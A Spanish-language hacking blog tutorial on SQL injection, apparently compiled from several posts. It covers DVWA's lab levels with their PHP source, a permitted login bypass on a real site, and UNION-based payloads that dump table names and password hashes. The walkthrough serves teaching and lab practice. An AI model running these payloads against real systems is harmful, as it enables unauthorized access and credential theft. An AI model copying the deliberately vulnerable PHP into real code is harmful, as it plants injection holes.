Hacking/Pentesting/Web

DVWA

Damn Vulnerable Web Application (DVWA) es un “simulacro” de página web con vulnerabilidades, podremos practicar muchas cosas y en diferentes dificultades, desde inyecciones sql hasta cross-site scripting, pasando por fuerza bruta, CSRF y mucho más, y todo en nuestro propio ordenador.

SQL Injection

Ya escribí una entrada sobre qué es SQL Injection e hice una muestra sobre como saltar un login en una página web real (con permiso previo), además de una explicación completa de cómo funcionan las sentencias SQL con las que la web se comunica con la base de datos y cómo funciona el ataque, también …

Hashes

Una función hash o función resumen convierte cualquier entrada (archivos, cadenas de caracteres...) en una cadena de longitud fija. Ésto puede ser utilizado para comprobar la integridad de archivos al intercambiarlos u ofuscar contraseñas al guardarlas en una base de datos, incluso se utiliza en las firmas electrónicas

 


Como Saltar Seguridad De Un Servidor

SQL Injection: ¿Qué es? – Saltar login

Antes de nada, para los más novatos quiero aclarar un par de conceptos:

Las páginas web que tienen elementos que se comunican con una base de datos suelen estar programadas en PHP, que es un lenguaje de programación que permite ésto. Además usan HTML y CSS para la estructura y el diseño que nosotros vemos (pero estos lenguajes no influyen a la hora de la seguridad en éste tipo de vulnerabilidades). Sin embargo PHP no se puede comunicar directamente, así que para ello se utiliza el lenguaje SQL.

 

Las inyecciones SQL son un método que aprovecha la mala configuración en lugares de entrada de datos, generalmente en páginas web, que conectan con una base de datos (en adelante bd) cómo  buscadores, logins, formularios… Que se conectan bien para sacar datos y mostrárselos al usuario, o bien para guardarlos o compararlos. En un registro de usuarios guardaríamos datos, en un buscador los sacaríamos para mostrarlos, etc.

 

Así mismo, cualquiera de éstos elementos se puede aprovechar para una función distinta de para la que fue creada, o incluso inutilizarla, si es vulnerable a inyección SQL.

 

Para el ejemplo voy a saltar un login de usuario de una página web real en la que, por supuesto, he obtenido permiso del dueño con anterioridad. Vamos a llamarla paginavulnerable.com.

 

Haciendo un escaneo con dirb he encontrado que hay un panel de administración en paginavulnerable.com/administrador/seguridad.php

Si pongo una comilla ‘ en el usuario y la contraseña, nos salta un error de MySQL, como podemos ver no tiene mucha seguridad ya que no han validado lo que introduce el usuario. Por lo tanto ahora sabemos que es vulnerable a inyecciones.

Como podemos ver después de “to use near” hay un código largo, ésto podría indicar que encripta las contraseñas, probablemente en md5. Ahora que ya hemos descubierto el agujero solo hace falta entrar. Escribo: 

qwer’or ‘1’=’1’#

en usuario y contraseña. Y ya está:

Para entender como funciona hay que profundizar un poco en cómo funciona un elemento de éste estilo. En el caso teórico de poner usuario “Administracion” y una contraseña “seguridad2015”, lo que hace la web es buscar en la bd, probablemente en una tabla llamada usuarios.

 

La sentencia SQL que utiliza la web al introducir esos datos podría ser algo así:

select * from usuarios where id=”Administracion” and pass=”seguridad2015″;

Significa mas o menos seleccionar las tuplas (filas) que tengan ese usuario y esa contraseña.

La página encripta las contraseñas (lo vimos en el error de MySQL que dió al principio), por lo que la sentencia real sería algo más parecido a ésto:

select * from usuarios where id=’Administracion’ and pass=’c11ce897fb9724d9077f678321e0dd39′;

Si eso está en la bd entonces el login será correcto.

Sin embargo no conocemos el usuario o usuarios que hay en esa tabla y uso un pequeño truco.

select * from usuarios where id=’qwer’or ‘1’=’1’#‘ and pass=’8e2acc5d87b6498b74258272cfaafda5’;

Si nos fijamos, la parte en negrita es lo que introducimos antes en el login para saltarlo. Los caracteres # o — hacen que el resto se ignore, por lo que la sentencia útil quedaría como:

select * from usuarios where id=’qwer’or ‘1’=’1′;

Seleccionar las filas en las que el id sea qwer o 1=1.

Ya lo tenemos, 1=1 siempre va a ser verdadero, el id qwer seguro que no existirá en la bd, pero al tener Falso o Verdadero, lo que resulta es verdadero, por lo tanto la sentencia devuelve todas las filas de la tabla usuarios, la aplicación seguramente usa la primera en caso de que haya varias, y en ella suele estar la cuenta de admin.

En caso de conocer un usuario no haría falta usar algo tan complicado como ésto, valdría con poner en usuario y contraseña:

Administrador’#

Que realizaría la consulta:

select * from usuarios where id=’Administrador’;

Ahora SQL Injection Completo

En SQL Injection: ¿Qué es? – Saltar login vimos qué son las inyecciones SQL y cómo afectan a las sentencias SQL con las que la web se comunica con la base de datos.

También en SQL Injection – Sacar contraseñas de usuarios vimos cómo explotar la vulnerabilidad a la vez que nos iniciábamos en el uso de DVWA, vimos el nivel bajo, y ahora veremos todos más detalladamente.

Antes de nada recomiendo probar por unx mismx, que es cómo realmente se aprende, es recomendable saber algo de php y de SQL para poder analizar el código.

 

Dificultad baja

 

Primero vamos con el código (abajo tenemos un botón que dice View Source code (o ver código fuente)).

<?php

if( isset( $_REQUEST[ ‘Submit’ ] ) ) {
// Get input
$id = $_REQUEST[ ‘id’ ];

// Check database
$query  = “SELECT first_name, last_name FROM users WHERE 
user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query )
or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res =
mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row[“first_name”];
$last  = $row[“last_name”];

// Feedback for end user
echo “<pre>ID: {$id}<br />First name: {$first}<br />
Surname: {$last}</pre>”;
}

mysqli_close($GLOBALS[“___mysqli_ston”]);
}

?>

En la entrada de sql injection sobre cómo sacar contraseñas de la base de datos tuvimos éste nivel cómo ejemplo, vimos que era vulnerable y lo explotamos, vemos que la variable $query almacena la consulta a la base de datos

SELECT first_name, last_name FROM users WHEREuser_id = '$id';

Para los más novatos ésto significa: selecciona los campos nombre y apellido de la tabla usuarios donde el id de usuario es $id, si vemos, la variable $id se recoge por método GET desde la página php anterior (sabemos que es GET porque aparece en la URL)

127.0.0.1/DVWA/vulnerabilities/sqli/?id=2&Submit=Submit#

En una consulta normal en la que introduzcamos un id válido (2 por ejemplo) la sentencia select quedaría

SELECT first_name, last_name FROM users WHEREuser_id = 2;

Y te devuelve

ID: 2
First name: Gordon
Surname: Brown

A la hora de hacer la inyección lo que hacíamos era variar el número 2 por algo que afectase a la sentencia select. Con ésto sacábamos los usuarios y las contraseñas.

‘or 1=0 union select user,password from dvwa.users#

La sentencia total que se envía a la base de datos sería así:

SELECT first_name, last_name FROM users WHEREuser_id = 'or 1=0 union SELECT user,password from dvwa.users;

Que lo que hace es “anular” la primera sentencia select al tener un falso en el id (‘or 1=0), y lo une a la sentencia select que nos interesa, la que saca usuarios  y contraseñas.

De acuerdo, éste ejercicio es sencillo porque no tiene ningún método de validación para lo que el usuario introduce.

Dificultad media

<?php

if( isset( $_POST[ ‘Submit’ ] ) ) {
// Get input
$id = $_POST[ ‘id’ ];

$id = ((isset($GLOBALS[“___mysqli_ston”]) &&
is_object($GLOBALS[“___mysqli_ston”])) ?
mysqli_real_escape_string($GLOBALS[“___mysqli_ston”],  $id ) :
((trigger_error(“[MySQLConverterToo] Fix the mysql_escape_string() call!
This code does not work.”, E_USER_ERROR)) ? “” : ”
“));

// Check database
$query  = “SELECT first_name, last_name FROM users WHERE
user_id = $id;”;
$result = mysqli_query($GLOBALS[“___mysqli_ston”],  $query )
or die( ‘<pre>’ . mysqli_connect_error() . ‘</pre>’ );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row[“first_name”];
$last  = $row[“last_name”];

// Feedback for end user
echo “<pre>ID: {$id}<br />First name: {$first}<br />
Surname: {$last}</pre>”;
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in
// here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query )
or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"]))
? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res
= mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS[“___mysqli_ston”]);
?>

En éste caso hay dos cambios, el primero es que las variables ya no se pasan por GET, si no por POST, por lo tanto ya no aparecerán en la URL, además hay una pequeña validación en la variable $id que básicamente consiste en la función

mysqli_real_escape_string($GLOBALS[“___mysqli_ston”],  $id )

Lo que hace es escapar los caracteres especiales, por lo tanto valdría con hacer lo mismo que hicimos para explotar el nivel bajo pero sin utilizar comillas, si fuera un campo de texto valdría con introducirlo ahí, el problema es que es un menú desplegable de las opciones disponibles, y al pasarse por POST no va a aparecernos en la url, para ello podemos usar un capturador y editor de cabeceras como Live HTTP Headers.

Con él capturamos la consulta y luego la editamos y enviamos.

ya tenemos la variable id inyectada y podemos realizar una explotación.

Dificultad alta

<?php

if( isset( $_SESSION [ ‘id’ ] ) ) {
// Get input
$id = $_SESSION[ ‘id’ ];

// Check database
$query  = “SELECT first_name, last_name FROM users WHERE 
user_id = ‘$id’ LIMIT 1;”;
$result = mysqli_query($GLOBALS[“___mysqli_ston”],  $query )
or die( ‘<pre>Something went wrong.</pre>’ );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row[“first_name”];
$last  = $row[“last_name”];

// Feedback for end user
echo “<pre>ID: {$id}<br />First name: {$first}<br />
Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close(
$GLOBALS[“___mysqli_ston”]))) ? false : $___mysqli_res);
}

?>

En ésta ocasión nos encontramos un botón que despliega una ventana en la que se introduce el código de usuario.

Lo más importante es que la sentencia SQL acaba con LIMIT 1, lo que limita el resultado que se muestra a un solo elemento, y además al estar después del id en el que inyectamos el código hace que nuestras inyecciones fallen al no tener sentido la sentencia resultante.

La solución es añadir # al final de nuestra inyección, así se ignorará todo lo que haya después, es decir, el LIMIT 1 que es lo que nos molesta. Preferiblemente precedido de ; para que la sentencia SQL no de errores (siempre se pone ; al final de las sentencias SQL).

Dificultad imposible

<?php

if( isset( $_GET[ ‘Submit’ ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ ‘user_token’ ],
$_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ ‘id’ ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( ‘SELECT first_name, last_name
FROM users WHERE user_id = (:id) LIMIT 1;’ );
$data->bindParam( ‘:id’, $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ ‘first_name’ ];
$last  = $row[ ‘last_name’ ];

// Feedback for end user
echo “<pre>ID: {$id}<br />First name: {$first}<br />
Surname: {$last}</pre>”;
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Cómo ya dice el título, no es vulnerable a sql injection, el código tiene mucho que ver, razonar y explicar, pero yo me fijaría en ésto en particular

if(is_numeric( $id ))

ésto tan simple produce que si lo que introducimos no es un número, no se ejecute la consulta a la base de datos, lo que inhabilita una posible explotación.

Además es destacable el uso de prepared statments (también en negrita).

SQL Injection – Sacar Contraseñas De Usuarios

Ya escribí una entrada sobre qué es SQL Injection e hice una muestra sobre como saltar un login en una página web real (con permiso previo), además de una explicación completa de cómo funcionan las sentencias SQL con las que la web se comunica con la base de datos y cómo funciona el ataque, también vimos cómo instalar y y configurar DVWA para practicar hacking web en nuestro propio ordenador. Ahora vamos a darle un repaso a la parte de inyección SQL (en el nivel bajo) en esta maravillosa herramienta.

Éste tutorial es sobre una página web “falsa” pero se puede aplicar perfectamente a páginas web reales, eso sí, siempre con permiso de lxs dueñxs.

Nos encontramos con un formulario que pide un identificador de usuario, si ponemos un número del 1 al 5 nos saca algo así:

ID: 2
First name: Gordon
Surname: Brown

Es una especie de buscador de usuarios, la base de datos es pequeña y por eso solo hay 5 almacenados.

Primero probamos si es vulnerable a inyecciones SQL, escribimos una comilla y ¡pum!

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ””’ at line 1

Ahora vamos a ver como explotar la vulnerabilidad, se me ocurre intentar comprobar si también tienen almacenadas contraseñas en la bd.

Primero sacamos el nombre de la base de datos y los nombres de las tablas que hay en ella.

‘ union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

information_schema es una tabla de la base de datos que contiene información sobre ésta. database() es una función que devuelve el nombre de la base de datos a la que se accede y group_concat(table_name) nos da los nombres de las tablas de la base de datos, ya que lo especificamos con where table_schema=database(). La salida es:

ID: ‘ union select group_c[…]
First name: dvwa
Surname: guestbook,users

Así que tenemos que la base de datos se llama dvwa y tiene las tablas guestbook y users. Lo que nos interesa ahora mismo es la tabla de usuarios, así que vamos a ver qué columnas tiene.

‘ union select 1,group_concat(column_name) from information_schema.columns where table_schema=’dvwa’ and table_name=’users’#

Así sacamos los nombres de las columnas de la tabla columns en information_schema en la base de datos dvwa y en la tabla users.

ID: ‘ union select 1,group_concat(colu

mn_name) from information_schema.columns where table_schema=database() and table_name=’users’#
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

Vemos que las columnas que nos daban por defecto se llaman first_name y last_name (nombre y apellido) sin embargo hay dos columnas que me resultan más interesantes, son user y password, vamos a ver que sale de ahí

‘or 1=0 union select user,password from dvwa.users#

Lo que nos devuelve son todos los usuarios y contraseñas hasheadas en md5.

Las contraseñas son

admin: password

gordonb: abc123

1337: charley

pablo: letmein

smithy: password

 

Para saber qué son los hashes, que es md5 y como “deshashear”: Criptografía – Hashes y cómo crackearlos

 

Parece que es de broma, que ésto no pasa en páginas web reales, pero la realidad es que sí ocurre, está claro que hay muchísimas páginas que tienen una seguridad mejor que ésta, pero por experiencia os digo que hay otras muchas que están así de mal.